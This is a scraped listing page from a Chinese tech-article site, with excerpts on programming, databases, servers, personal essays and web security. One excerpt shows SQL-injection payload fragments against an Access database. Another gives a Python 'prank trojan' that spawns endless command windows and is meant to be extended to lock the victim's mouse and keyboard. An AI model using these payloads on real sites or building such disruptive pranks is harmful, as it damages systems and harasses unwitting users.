<div>未经许可,不得转载。文章目录XSS漏洞成因1、直接输出用户输入2、在JSP中使用EL表达式输出用户输入3、在Thymeleaf模板中输出用户输入4、在JavaScript中嵌入用户输入实战案例案例1案例2案例3XSSXSS(跨站脚本攻击,Cross-SiteScripting)是一种常见的Web安全漏洞,攻击者通过在网页中注入恶意脚本,使得这些脚本在用户的浏览器中执行。XSS攻击通常分为以下三种类</div> </li> <li><a href="/article/1947345175466536960.htm" title="翻转木马程序3:" target="_blank">翻转木马程序3:</a> <span class="text-muted">艳平思语</span> <div>2022.7.1503.我做什么都没有用。一切快乐都会结束,盛宴必散。刚刚我看到群里我二弟发的一段跟母亲说的话,我的泪水止不住往外冒。他想我妈妈了,我也想我妈妈了。“再过两天就是母亲的祭日了,现在家中是喜事连连是喜是忧心中感慨万千。母亲:您的二孙女去年考上了大学;您的外甥女今年已经当上了妈妈,小乐乐长得非常可爱;您的大孙女今年研究生也毕业了并且顺利找到了工作;您的外甥今年也考上了大学;您的三孙女也</div> </li> <li><a href="/article/1946497628892098560.htm" title="第二首情诗" target="_blank">第二首情诗</a> <span class="text-muted">不落尘埃</span> <div>我从来爱的浮夸,从来只说你一人情话眼无代价,满心牵挂你若生如夏花,我便四季仲夏呆如木马,痴若井蛙等你一身纯白花嫁,我们饮酒天涯,倚马为家凌至年华,一缕烟霞,一袭昏鸦,一盏清茶,一簪挽发,一声歌哑,一剑天涯。垂暮下,深情挂,忠择花,只爱娜</div> </li> <li><a href="/article/1943491009937731584.htm" title="ClamAV 和 FreshClam:Linux 服务器上的开源杀毒解决方案" target="_blank">ClamAV 和 FreshClam:Linux 服务器上的开源杀毒解决方案</a> <span class="text-muted"></span> <div>ClamAV和FreshClam:Linux服务器上的开源杀毒解决方案1.概述ClamAV是一款开源的防病毒引擎,专为Linux服务器设计,用于检测恶意软件、病毒、木马和其他安全威胁。它广泛应用于邮件服务器、文件存储系统和Web服务器,提供高效的病毒扫描功能。主要特点:免费开源:可自由使用和修改,适合企业和个人用户。多平台支持:支持Linux、Windows和macOS(但主要用于Linux)。命</div> </li> <li><a href="/article/1943479162169782272.htm" title="安全团队揭露:SHELLTER规避框架遭滥用,精英版v11.0打包三大信息窃取木马" target="_blank">安全团队揭露:SHELLTER规避框架遭滥用,精英版v11.0打包三大信息窃取木马</a> <span class="text-muted">FreeBuf-</span> <a class="tag" taget="_blank" href="/search/%E5%AE%89%E5%85%A8/1.htm">安全</a><a class="tag" taget="_blank" href="/search/%E7%BD%91%E7%BB%9C/1.htm">网络</a> <div>SHELLTER解包工具界面|图片来源:Elastic安全实验室Elastic安全实验室近期发现多起利用SHELLTER规避框架的恶意软件活动。这款原本为红队设计、用于模拟真实攻击的工具,已被威胁分子迅速采用其精英版v11.0来部署复杂的窃密程序,包括LUMMA、RHADAMANTHYS和ARECHCLIENT2等。商业化规避工具遭恶意利用"SHELLTER本是为合规安全评估而设计的进攻性安全工具</div> </li> <li><a href="/article/1942712471827574784.htm" title="FTP太不安全了?SFTP 替代方案构建企业级文件传输服务全指南" target="_blank">FTP太不安全了?SFTP 替代方案构建企业级文件传输服务全指南</a> <span class="text-muted"></span> <div>你有没有遇到过这种事?某天凌晨,公司官网突然崩了,运维排查一整圈,最后发现是某个FTP用户密码泄露被人植入了木马网页。那一刻你可能才突然意识到,FTP这玩意儿,居然还在你们系统里悄悄跑着,而且还是“裸奔”。不夸张地说,FTP在今天的互联网环境下已经是“古董级危险品”了。所以,我们今天不讲理论,不聊历史,只聊一件事:用SFTP替换FTP,怎么一步步在企业环境里真正落地?为什么FTP是“老虎凳”,而不</div> </li> <li><a href="/article/1942512170235392000.htm" title="WEB渗透信息收集篇--网站架构和指纹识别" target="_blank">WEB渗透信息收集篇--网站架构和指纹识别</a> <span class="text-muted">Pluto-2003</span> <a class="tag" taget="_blank" href="/search/%E6%B8%97%E9%80%8F%E6%B5%8B%E8%AF%95/1.htm">渗透测试</a><a class="tag" taget="_blank" href="/search/%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8/1.htm">网络安全</a><a class="tag" taget="_blank" href="/search/%E6%B8%97%E9%80%8F%E6%B5%8B%E8%AF%95/1.htm">渗透测试</a><a class="tag" taget="_blank" href="/search/%E4%BF%A1%E6%81%AF%E6%94%B6%E9%9B%86/1.htm">信息收集</a> <div>往期文章WEB渗透信息收集篇--域名信息-CSDN博客WEB渗透信息收集篇--IP和端口信息-CSDN博客WEB渗透信息收集篇--其他信息-CSDN博客WEB渗透信息收集篇--人员信息-CSDN博客信息泄露电话、邮箱,姓名若是论坛ID=1的用户名一般为管理、或查看帖子信息、生成字典网页上客服的QQ(先判断是企业的还是个人,用处有时不太大,看怎么用,搞个鱼叉什么的)目录遍历dirsearch、御剑备</div> </li> <li><a href="/article/1942508768302526464.htm" title="web渗透sql注入1之access" target="_blank">web渗透sql注入1之access</a> <span class="text-muted">合作小小程序员小小店</span> <a class="tag" taget="_blank" href="/search/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/1.htm">计算机网络</a><a class="tag" taget="_blank" href="/search/%E6%80%A7%E8%83%BD%E4%BC%98%E5%8C%96/1.htm">性能优化</a><a class="tag" taget="_blank" href="/search/%E7%BD%91%E7%BB%9C%E6%94%BB%E5%87%BB%E6%A8%A1%E5%9E%8B/1.htm">网络攻击模型</a><a class="tag" taget="_blank" href="/search/%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8/1.htm">网络安全</a><a class="tag" taget="_blank" href="/search/%E5%AE%89%E5%85%A8%E6%80%A7%E6%B5%8B%E8%AF%95/1.htm">安全性测试</a> <div>web渗透sql注入1之access环境搭建:win2003+asp+access数据库特性:access数据库没有root,不能读写文件,不能执行命令,只能借助字典得到数据注入方式:联合注入偏移注入注入过程:1)判断当前表有多少列,Howmushcolumnsnumber?id=1orderby23?id=1orderby52)获取数据库Getdatabase?id=1unionselect1,</div> </li> <li><a href="/article/1942508641085091840.htm" title="web渗透之指纹识别2" target="_blank">web渗透之指纹识别2</a> <span class="text-muted">合作小小程序员小小店</span> <a class="tag" taget="_blank" href="/search/%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8/1.htm">网络安全</a><a class="tag" taget="_blank" href="/search/%E5%AE%89%E5%85%A8%E6%80%A7%E6%B5%8B%E8%AF%95/1.htm">安全性测试</a><a class="tag" taget="_blank" href="/search/%E5%AE%89%E5%85%A8%E5%A8%81%E8%83%81%E5%88%86%E6%9E%90/1.htm">安全威胁分析</a><a class="tag" taget="_blank" href="/search/web%E5%AE%89%E5%85%A8/1.htm">web安全</a><a class="tag" taget="_blank" href="/search/%E7%BD%91%E7%BB%9C%E5%8D%8F%E8%AE%AE/1.htm">网络协议</a> <div>web渗透之指纹识别2框架识别在框架指纹识别中,我们可以使用response响应头,以及目标路由,目录,备份文件,图标,插件等方式来推断框架信息。cms识别在CMS指纹识别中,我们可以使用response响应头返回的信息中是否包含CMS的特有标识或其他独特的信息,文字,或者图标,插件等。在CMS的漏洞较多,我们可以通过它的指纹找到源码,或者历史漏洞查看并进行白盒测试等。cdn识别在cdn指纹识别中</div> </li> <li><a href="/article/1942508641915564032.htm" title="web渗透之其他信息收集篇" target="_blank">web渗透之其他信息收集篇</a> <span class="text-muted">合作小小程序员小小店</span> <a class="tag" taget="_blank" href="/search/%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8/1.htm">网络安全</a><a class="tag" taget="_blank" href="/search/%E5%AE%89%E5%85%A8%E6%80%A7%E6%B5%8B%E8%AF%95/1.htm">安全性测试</a><a class="tag" taget="_blank" href="/search/%E7%BD%91%E7%BB%9C%E5%8D%8F%E8%AE%AE/1.htm">网络协议</a><a class="tag" taget="_blank" href="/search/web%E5%AE%89%E5%85%A8/1.htm">web安全</a><a class="tag" taget="_blank" href="/search/%E5%AE%89%E5%85%A8%E5%A8%81%E8%83%81%E5%88%86%E6%9E%90/1.htm">安全威胁分析</a> <div>web渗透之其他信息收集篇在前期渗透的时候,我们需要做很多信息收集资产获取。除了web网站,服务器指纹识别外,我们还可以通过以下的资产进行信息收集工作:APP在移动开发中常见的两种两种安装包apk,ios,以及老早以前塞班jar,Winphone等,老的一些开发我就不做过多的介绍,主要了解一下apk和ios怎么进行资产收集,常见的有两种方式第一种外部获取通过抓包工具获取apk,ios请求的数据如f</div> </li> <li><a href="/article/1942506374160248832.htm" title="web渗透之指纹识别1" target="_blank">web渗透之指纹识别1</a> <span class="text-muted">合作小小程序员小小店</span> <a class="tag" taget="_blank" href="/search/%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8/1.htm">网络安全</a><a class="tag" taget="_blank" href="/search/%E7%89%A9%E8%81%94%E7%BD%91/1.htm">物联网</a><a class="tag" taget="_blank" href="/search/%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8/1.htm">网络安全</a><a class="tag" taget="_blank" href="/search/%E7%BD%91%E7%BB%9C%E6%94%BB%E5%87%BB%E6%A8%A1%E5%9E%8B/1.htm">网络攻击模型</a><a class="tag" taget="_blank" href="/search/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/1.htm">计算机网络</a> <div>web渗透之指纹识别1前端技术:前端中我们需要掌握一些基础html,javascrip,jquery,bootstrap,前端框架vue.js,vue,angular,React等,在前端中可以利用的东西还是很多的,我们可使用xss配合csrf以及一些攻击漏洞进行弹框,获取cookie,劫持,绕过,跳转,跨域,重定向,重放,控制节点,挂暗链接,甚至隐藏我们的请求等。如果要说怎么在识别中使用,我们可</div> </li> <li><a href="/article/1941425088440102912.htm" title="2025web建议" target="_blank">2025web建议</a> <span class="text-muted"></span> <div>随便收集的信息新手入门路线推荐第一步:Web安全相关概念建议学习时间:2周学习内容如下:1、熟悉基本概念(SQL注入、上传、XSS、CSRF、一句话木马等)。2、通过关键字(SQL注入、上传、XSS、CSRF、一句话木马等)进行Google。3、阅读《Web安全深度剖析》,作为入门学习还是可以的。4、看一些渗透笔记/视频,了解渗透实战的整个过程,可以Google(渗透笔记、渗透过程、入侵过程等)。</div> </li> <li><a href="/article/1941248713800347648.htm" title="Telegram安装程序中的隐匿威胁:木马样本深度剖析" target="_blank">Telegram安装程序中的隐匿威胁:木马样本深度剖析</a> <span class="text-muted">Bj陈默</span> <a class="tag" taget="_blank" href="/search/web%E5%AE%89%E5%85%A8/1.htm">web安全</a><a class="tag" taget="_blank" href="/search/%E5%AE%89%E5%85%A8/1.htm">安全</a> <div>一、引言:危机四伏的下载在数字化时代,即时通讯软件已成为人们日常生活和工作中不可或缺的一部分。Telegram,以其强大的加密功能、丰富的群组和频道资源,吸引了全球众多用户。然而,随着其用户基数的不断扩大,Telegram也逐渐成为网络犯罪分子的目标。近年来,Telegram安装程序捆绑木马的事件频发,给用户的信息安全带来了极大的威胁。2025年3月,安全研究人员发现一款仿冒IndusInd银行应</div> </li> <li><a href="/article/1940849220126830592.htm" title="Python版无限弹窗(禁用鼠标键盘不禁触摸板)" target="_blank">Python版无限弹窗(禁用鼠标键盘不禁触摸板)</a> <span class="text-muted">迪迦隔山海</span> <a class="tag" taget="_blank" href="/search/python/1.htm">python</a> <div>提示:整蛊小木马简单好玩又实用期末将近可刺激着急的同学们也可以整蛊老师不要过分!!!注意不要过分!!!一、无限弹窗1.引入库代码如下(示例):importos通过while死循环用os库调用cmd弹窗2.while循环代码如下(示例):whileTrue:os.system('startcmd')但是如果这样就心满意足那是远远不够的,这样的程序容易关闭,可以添加上禁用鼠标键盘等功能,然后还可以进行</div> </li> <li><a href="/article/1940413349661569024.htm" title="JavaScript代码审计工具" target="_blank">JavaScript代码审计工具</a> <span class="text-muted">叶梓诺</span> <a class="tag" taget="_blank" href="/search/javascript/1.htm">javascript</a><a class="tag" taget="_blank" href="/search/%E5%BC%80%E5%8F%91%E8%AF%AD%E8%A8%80/1.htm">开发语言</a><a class="tag" taget="_blank" href="/search/ecmascript/1.htm">ecmascript</a><a class="tag" taget="_blank" href="/search/%E5%89%8D%E7%AB%AF/1.htm">前端</a> <div>我整理的一些关于【Java】的项目学习资料(附讲解~~)和大家一起分享、学习一下:https://d.51cto.com/bLN8S1如何实现一个JavaScript代码审计工具作为一名刚入行的小白,你可能对如何创建一个JavaScript代码审计工具感到困惑。在这篇文章中,我将引导你完成整个流程,并提供具体的代码示例和说明。我们将采取结构化的步骤来确保你能够理解每个阶段。流程概述创建JavaSc</div> </li> <li><a href="/article/1939896791747063808.htm" title="【代码审计】安全审核常见漏洞修复策略" target="_blank">【代码审计】安全审核常见漏洞修复策略</a> <span class="text-muted">秋说</span> <a class="tag" taget="_blank" href="/search/Java%E4%BB%A3%E7%A0%81%E5%AE%A1%E8%AE%A1/1.htm">Java代码审计</a><a class="tag" taget="_blank" href="/search/%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8/1.htm">网络安全</a><a class="tag" taget="_blank" href="/search/%E4%BB%A3%E7%A0%81%E5%AE%A1%E8%AE%A1/1.htm">代码审计</a> <div>文章目录1.异常信息泄露修复建议不推荐用法推荐用法2.文件上传漏洞错误示例(缺乏校验)安全示例(含格式/扩展名校验)3.SQL注入漏洞(MyBatis${})示例修复建议4.生成组件间接依赖生成依赖树建议5.间接依赖组件的漏洞什么是间接依赖后端修复1后端修复2前端修复1前端修复26.XSS(跨站脚本攻击)错误示例(存在风险)安全示例(自动转义)修复建议7.接口未鉴权修复建议8.路径遍历漏洞错误示例</div> </li> <li><a href="/article/1939106882471915520.htm" title="2025学年湖北省职业院校技能大赛 “信息安全管理与评估”赛项 样题卷(二)" target="_blank">2025学年湖北省职业院校技能大赛 “信息安全管理与评估”赛项 样题卷(二)</a> <span class="text-muted">落寞的魚丶</span> <a class="tag" taget="_blank" href="/search/%E7%BD%91%E7%BB%9C%E7%A9%BA%E9%97%B4%E5%AE%89%E5%85%A8%EF%BC%88%E8%81%8C%E4%B8%9A%E6%8A%80%E8%83%BD%E5%A4%A7%E8%B5%9B%EF%BC%89/1.htm">网络空间安全(职业技能大赛)</a><a class="tag" taget="_blank" href="/search/%23/1.htm">#</a><a class="tag" taget="_blank" href="/search/%E4%BF%A1%E6%81%AF%E5%AE%89%E5%85%A8%E7%AE%A1%E7%90%86%E4%B8%8E%E8%AF%84%E4%BC%B0%E8%B5%9B%E9%A1%B9/1.htm">信息安全管理与评估赛项</a><a class="tag" taget="_blank" href="/search/2025%E6%B9%96%E5%8C%97%E8%81%8C%E4%B8%9A%E6%8A%80%E8%83%BD%E5%A4%A7%E8%B5%9B/1.htm">2025湖北职业技能大赛</a><a class="tag" taget="_blank" href="/search/%E9%AB%98%E8%81%8C%E7%BB%84/1.htm">高职组</a><a class="tag" taget="_blank" href="/search/%E4%BF%A1%E6%81%AF%E5%AE%89%E5%85%A8%E8%AF%84%E4%BC%B0%E8%B5%9B%E9%A1%B9/1.htm">信息安全评估赛项</a><a class="tag" taget="_blank" href="/search/%E6%A0%B7%E9%A2%98%E8%B5%9B%E9%A2%98/1.htm">样题赛题</a><a class="tag" taget="_blank" href="/search/%E7%BD%91%E7%BB%9C%E5%8A%A0%E5%9B%BA/1.htm">网络加固</a> <div>2025学年湖北省职业院校技能大赛“信息安全管理与评估”赛项样题卷(二)第一部分:第二部分:网络安全事件响应、数字取证调查、应用程序安全任务书任务1:应急响应(可以培训有答案)任务2:通信数据分析取证(40分)任务3:基于Windows计算机单机取证(120分)第三部分应用程序安全任务4:HP代码审计(40分)第三部分:网络安全渗透、理论技能与职业素养任务一:人力资源管理系统(60分)可以培训任务</div> </li> <li><a href="/article/1939102213779550208.htm" title="2025学年湖北省职业院校技能大赛 “信息安全管理与评估”赛项 样题卷(四)" target="_blank">2025学年湖北省职业院校技能大赛 “信息安全管理与评估”赛项 样题卷(四)</a> <span class="text-muted">落寞的魚丶</span> <a class="tag" taget="_blank" href="/search/%E7%BD%91%E7%BB%9C%E7%A9%BA%E9%97%B4%E5%AE%89%E5%85%A8%EF%BC%88%E8%81%8C%E4%B8%9A%E6%8A%80%E8%83%BD%E5%A4%A7%E8%B5%9B%EF%BC%89/1.htm">网络空间安全(职业技能大赛)</a><a class="tag" taget="_blank" href="/search/%23/1.htm">#</a><a class="tag" taget="_blank" href="/search/%E4%BF%A1%E6%81%AF%E5%AE%89%E5%85%A8%E7%AE%A1%E7%90%86%E4%B8%8E%E8%AF%84%E4%BC%B0%E8%B5%9B%E9%A1%B9/1.htm">信息安全管理与评估赛项</a><a class="tag" taget="_blank" href="/search/2025%E8%81%8C%E4%B8%9A%E6%B9%96%E5%8C%97%E8%81%8C%E4%B8%9A%E6%8A%80%E8%83%BD%E5%A4%A7%E8%B5%9B/1.htm">2025职业湖北职业技能大赛</a><a class="tag" taget="_blank" href="/search/%E8%81%8C%E4%B8%9A%E6%8A%80%E8%83%BD%E5%A4%A7%E8%B5%9B%E7%9C%81%E8%B5%9B/1.htm">职业技能大赛省赛</a><a class="tag" taget="_blank" href="/search/%E9%AB%98%E8%81%8C%E7%BB%84/1.htm">高职组</a><a class="tag" taget="_blank" href="/search/%E4%BF%A1%E6%81%AF%E5%AE%89%E5%85%A8%E8%AF%84%E4%BC%B0%E4%B8%8E%E7%AE%A1%E7%90%86%E8%B5%9B%E9%A1%B9/1.htm">信息安全评估与管理赛项</a> <div>2025学年湖北省职业院校技能大赛“信息安全管理与评估”赛项样题卷(四)第二部分:网络安全事件响应、数字取证调查、应用程序安全任务书任务1:应急响应(可以培训有答案)任务2:通信数据分析取证(40分)任务3:基于Windows计算机单机取证(120分)任务4:PHP代码审计(40分)第三部分:网络安全渗透、理论技能与职业素养任务一:商城购物系统(60分)可以培训任务二:办公系统(60分)任务三:F</div> </li> <li><a href="/article/53.htm" title="二分查找排序算法" target="_blank">二分查找排序算法</a> <span class="text-muted">周凡杨</span> <a class="tag" taget="_blank" href="/search/java/1.htm">java</a><a class="tag" taget="_blank" href="/search/%E4%BA%8C%E5%88%86%E6%9F%A5%E6%89%BE/1.htm">二分查找</a><a class="tag" taget="_blank" href="/search/%E6%8E%92%E5%BA%8F/1.htm">排序</a><a class="tag" taget="_blank" href="/search/%E7%AE%97%E6%B3%95/1.htm">算法</a><a class="tag" taget="_blank" href="/search/%E6%8A%98%E5%8D%8A/1.htm">折半</a> <div> 一:概念 二分查找又称 折半查找( 折半搜索/ 二分搜索),优点是比较次数少,查找速度快,平均性能好;其缺点是要求待查表为有序表,且插入删除困难。因此,折半查找方法适用于不经常变动而 查找频繁的有序列表。首先,假设表中元素是按升序排列,将表中间位置记录的关键字与查找关键字比较,如果两者相等,则查找成功;否则利用中间位置记录将表 分成前、后两个子表,如果中间位置记录的关键字大于查找关键字,则进一步</div> </li> <li><a href="/article/180.htm" title="java中的BigDecimal" target="_blank">java中的BigDecimal</a> <span class="text-muted">bijian1013</span> <a class="tag" taget="_blank" href="/search/java/1.htm">java</a><a class="tag" taget="_blank" href="/search/BigDecimal/1.htm">BigDecimal</a> <div>        在项目开发过程中出现精度丢失问题,查资料用BigDecimal解决,并发现如下这篇BigDecimal的解决问题的思路和方法很值得学习,特转载。         原文地址:http://blog.csdn.net/ugg/article/de</div> </li> <li><a href="/article/307.htm" title="Shell echo命令详解" target="_blank">Shell echo命令详解</a> <span class="text-muted">daizj</span> <a class="tag" taget="_blank" href="/search/echo/1.htm">echo</a><a class="tag" taget="_blank" href="/search/shell/1.htm">shell</a> <div>Shell echo命令 Shell 的 echo 指令与 PHP 的 echo 指令类似,都是用于字符串的输出。命令格式: echo string 您可以使用echo实现更复杂的输出格式控制。 1.显示普通字符串: echo "It is a test" 这里的双引号完全可以省略,以下命令与上面实例效果一致: echo Itis a test 2.显示转义</div> </li> <li><a href="/article/434.htm" title="Oracle DBA 简单操作" target="_blank">Oracle DBA 简单操作</a> <span class="text-muted">周凡杨</span> <a class="tag" taget="_blank" href="/search/oracle+dba+sql/1.htm">oracle dba sql</a> <div> --执行次数多的SQL select sql_text,executions from (      select sql_text,executions from v$sqlarea order by executions desc      ) where rownum<81;  &nb</div> </li> <li><a href="/article/561.htm" title="画图重绘" target="_blank">画图重绘</a> <span class="text-muted">朱辉辉33</span> <a class="tag" taget="_blank" href="/search/%E6%B8%B8%E6%88%8F/1.htm">游戏</a> <div>  我第一次接触重绘是编写五子棋小游戏的时候,因为游戏里的棋盘是用线绘制的,而这些东西并不在系统自带的重绘里,所以在移动窗体时,棋盘并不会重绘出来。所以我们要重写系统的重绘方法。   在重写系统重绘方法时,我们要注意一定要调用父类的重绘方法,即加上super.paint(g),因为如果不调用父类的重绘方式,重写后会把父类的重绘覆盖掉,而父类的重绘方法是绘制画布,这样就导致我们</div> </li> <li><a href="/article/688.htm" title="线程之初体验" target="_blank">线程之初体验</a> <span class="text-muted">西蜀石兰</span> <a class="tag" taget="_blank" href="/search/%E7%BA%BF%E7%A8%8B/1.htm">线程</a> <div>一直觉得多线程是学Java的一个分水岭,懂多线程才算入门。 之前看《编程思想》的多线程章节,看的云里雾里,知道线程类有哪几个方法,却依旧不知道线程到底是什么?书上都写线程是进程的模块,共享线程的资源,可是这跟多线程编程有毛线的关系,呜呜。。。 线程其实也是用户自定义的任务,不要过多的强调线程的属性,而忽略了线程最基本的属性。 你可以在线程类的run()方法中定义自己的任务,就跟正常的Ja</div> </li> <li><a href="/article/815.htm" title="linux集群互相免登陆配置" target="_blank">linux集群互相免登陆配置</a> <span class="text-muted">林鹤霄</span> <a class="tag" taget="_blank" href="/search/linux/1.htm">linux</a> <div>配置ssh免登陆 1、生成秘钥和公钥    ssh-keygen -t rsa 2、提示让你输入,什么都不输,三次回车之后会在~下面的.ssh文件夹中多出两个文件id_rsa 和 id_rsa.pub    其中id_rsa为秘钥,id_rsa.pub为公钥,使用公钥加密的数据只有私钥才能对这些数据解密    c</div> </li> <li><a href="/article/942.htm" title="mysql : Lock wait timeout exceeded; try restarting transaction" target="_blank">mysql : Lock wait timeout exceeded; try restarting transaction</a> <span class="text-muted">aigo</span> <a class="tag" taget="_blank" href="/search/mysql/1.htm">mysql</a> <div>原文:http://www.cnblogs.com/freeliver54/archive/2010/09/30/1839042.html   原因是你使用的InnoDB   表类型的时候, 默认参数:innodb_lock_wait_timeout设置锁等待的时间是50s, 因为有的锁等待超过了这个时间,所以抱错.   你可以把这个时间加长,或者优化存储</div> </li> <li><a href="/article/1069.htm" title="Socket编程 基本的聊天实现。" target="_blank">Socket编程 基本的聊天实现。</a> <span class="text-muted">alleni123</span> <a class="tag" taget="_blank" href="/search/socket/1.htm">socket</a> <div>public class Server { //用来存储所有连接上来的客户 private List<ServerThread> clients; public static void main(String[] args) { Server s = new Server(); s.startServer(9988); } publi</div> </li> <li><a href="/article/1196.htm" title="多线程监听器事件模式(一个简单的例子)" target="_blank">多线程监听器事件模式(一个简单的例子)</a> <span class="text-muted">百合不是茶</span> <a class="tag" taget="_blank" href="/search/%E7%BA%BF%E7%A8%8B/1.htm">线程</a><a class="tag" taget="_blank" href="/search/%E7%9B%91%E5%90%AC%E6%A8%A1%E5%BC%8F/1.htm">监听模式</a> <div>    多线程的事件监听器模式   监听器时间模式经常与多线程使用,在多线程中如何知道我的线程正在执行那什么内容,可以通过时间监听器模式得到        创建多线程的事件监听器模式 思路:    1, 创建线程并启动,在创建线程的位置设置一个标记     2,创建队</div> </li> <li><a href="/article/1323.htm" title="spring InitializingBean接口" target="_blank">spring InitializingBean接口</a> <span class="text-muted">bijian1013</span> <a class="tag" taget="_blank" href="/search/java/1.htm">java</a><a class="tag" taget="_blank" href="/search/spring/1.htm">spring</a> <div>spring的事务的TransactionTemplate,其源码如下: public class TransactionTemplate extends DefaultTransactionDefinition implements TransactionOperations, InitializingBean{ ... } TransactionTemplate继承了DefaultT</div> </li> <li><a href="/article/1450.htm" title="Oracle中询表的权限被授予给了哪些用户" target="_blank">Oracle中询表的权限被授予给了哪些用户</a> <span class="text-muted">bijian1013</span> <a class="tag" taget="_blank" href="/search/oracle/1.htm">oracle</a><a class="tag" taget="_blank" href="/search/%E6%95%B0%E6%8D%AE%E5%BA%93/1.htm">数据库</a><a class="tag" taget="_blank" href="/search/%E6%9D%83%E9%99%90/1.htm">权限</a> <div>        Oracle查询表将权限赋给了哪些用户的SQL,以备查用。 select t.table_name as "表名", t.grantee as "被授权的属组", t.owner as "对象所在的属组"</div> </li> <li><a href="/article/1577.htm" title="【Struts2五】Struts2 参数传值" target="_blank">【Struts2五】Struts2 参数传值</a> <span class="text-muted">bit1129</span> <a class="tag" taget="_blank" href="/search/struts2/1.htm">struts2</a> <div>Struts2中参数传值的3种情况 1.请求参数绑定到Action的实例字段上 2.Action将值传递到转发的视图上 3.Action将值传递到重定向的视图上   一、请求参数绑定到Action的实例字段上以及Action将值传递到转发的视图上 Struts可以自动将请求URL中的请求参数或者表单提交的参数绑定到Action定义的实例字段上,绑定的规则使用ognl表达式语言</div> </li> <li><a href="/article/1704.htm" title="【Kafka十四】关于auto.offset.reset[Q/A]" target="_blank">【Kafka十四】关于auto.offset.reset[Q/A]</a> <span class="text-muted">bit1129</span> <a class="tag" taget="_blank" href="/search/kafka/1.htm">kafka</a> <div>I got serveral questions about  auto.offset.reset. This configuration parameter governs how  consumer read the message from  Kafka when  there is no initial offset in ZooKeeper or </div> </li> <li><a href="/article/1831.htm" title="nginx gzip压缩配置" target="_blank">nginx gzip压缩配置</a> <span class="text-muted">ronin47</span> <a class="tag" taget="_blank" href="/search/nginx+gzip+%E5%8E%8B%E7%BC%A9%E8%8C%83%E4%BE%8B/1.htm">nginx gzip 压缩范例</a> <div>nginx gzip压缩配置 更多 0 nginx gzip 配置   随着nginx的发展,越来越多的网站使用nginx,因此nginx的优化变得越来越重要,今天我们来看看nginx的gzip压缩到底是怎么压缩的呢? gzip(GNU-ZIP)是一种压缩技术。经过gzip压缩后页面大小可以变为原来的30%甚至更小,这样,用</div> </li> <li><a href="/article/1958.htm" title="java-13.输入一个单向链表,输出该链表中倒数第 k 个节点" target="_blank">java-13.输入一个单向链表,输出该链表中倒数第 k 个节点</a> <span class="text-muted">bylijinnan</span> <a class="tag" taget="_blank" href="/search/java/1.htm">java</a> <div>two cursors. Make the first cursor go K steps first. /* * 第 13 题:题目:输入一个单向链表,输出该链表中倒数第 k 个节点 */ public void displayKthItemsBackWard(ListNode head,int k){ ListNode p1=head,p2=head; </div> </li> <li><a href="/article/2085.htm" title="Spring源码学习-JdbcTemplate queryForObject" target="_blank">Spring源码学习-JdbcTemplate queryForObject</a> <span class="text-muted">bylijinnan</span> <a class="tag" taget="_blank" href="/search/java/1.htm">java</a><a class="tag" taget="_blank" href="/search/spring/1.htm">spring</a> <div>JdbcTemplate中有两个可能会混淆的queryForObject方法: 1. Object queryForObject(String sql, Object[] args, Class requiredType) 2. Object queryForObject(String sql, Object[] args, RowMapper rowMapper) 第1个方法是只查</div> </li> <li><a href="/article/2212.htm" title="[冰川时代]在冰川时代,我们需要什么样的技术?" target="_blank">[冰川时代]在冰川时代,我们需要什么样的技术?</a> <span class="text-muted">comsci</span> <a class="tag" taget="_blank" href="/search/%E6%8A%80%E6%9C%AF/1.htm">技术</a> <div>      看美国那边的气候情况....我有个感觉...是不是要进入小冰期了?      那么在小冰期里面...我们的户外活动肯定会出现很多问题...在室内呆着的情况会非常多...怎么在室内呆着而不发闷...怎么用最低的电力保证室内的温度.....这都需要技术手段...   &nb</div> </li> <li><a href="/article/2339.htm" title="js 获取浏览器型号" target="_blank">js 获取浏览器型号</a> <span class="text-muted">cuityang</span> <a class="tag" taget="_blank" href="/search/js/1.htm">js</a><a class="tag" taget="_blank" href="/search/%E6%B5%8F%E8%A7%88%E5%99%A8/1.htm">浏览器</a> <div>根据浏览器获取iphone和apk的下载地址 <!DOCTYPE html> <html> <head>     <meta charset="utf-8" content="text/html"/>     <meta name=</div> </li> <li><a href="/article/2466.htm" title="C# socks5详解 转" target="_blank">C# socks5详解 转</a> <span class="text-muted">dalan_123</span> <a class="tag" taget="_blank" href="/search/socket/1.htm">socket</a><a class="tag" taget="_blank" href="/search/C%23/1.htm">C#</a> <div>http://www.cnblogs.com/zhujiechang/archive/2008/10/21/1316308.html  这里主要讲的是用.NET实现基于Socket5下面的代理协议进行客户端的通讯,Socket4的实现是类似的,注意的事,这里不是讲用C#实现一个代理服务器,因为实现一个代理服务器需要实现很多协议,头大,而且现在市面上有很多现成的代理服务器用,性能又好,</div> </li> <li><a href="/article/2593.htm" title="运维 Centos问题汇总" target="_blank">运维 Centos问题汇总</a> <span class="text-muted">dcj3sjt126com</span> <a class="tag" taget="_blank" href="/search/%E4%BA%91%E4%B8%BB%E6%9C%BA/1.htm">云主机</a> <div>一、sh 脚本不执行的原因 sh脚本不执行的原因 只有2个 1.权限不够 2.sh脚本里路径没写完整。   二、解决You have new mail in /var/spool/mail/root 修改/usr/share/logwatch/default.conf/logwatch.conf配置文件 MailTo = MailFrom   三、查询连接数</div> </li> <li><a href="/article/2720.htm" title="Yii防注入攻击笔记" target="_blank">Yii防注入攻击笔记</a> <span class="text-muted">dcj3sjt126com</span> <a class="tag" taget="_blank" href="/search/sql/1.htm">sql</a><a class="tag" taget="_blank" href="/search/WEB%E5%AE%89%E5%85%A8/1.htm">WEB安全</a><a class="tag" taget="_blank" href="/search/yii/1.htm">yii</a> <div>网站表单有注入漏洞须对所有用户输入的内容进行个过滤和检查,可以使用正则表达式或者直接输入字符判断,大部分是只允许输入字母和数字的,其它字符度不允许;对于内容复杂表单的内容,应该对html和script的符号进行转义替换:尤其是<,>,',"",&这几个符号 这里有个转义对照表: http://blog.csdn.net/xinzhu1990/articl</div> </li> <li><a href="/article/2847.htm" title="MongoDB简介[一]" target="_blank">MongoDB简介[一]</a> <span class="text-muted">eksliang</span> <a class="tag" taget="_blank" 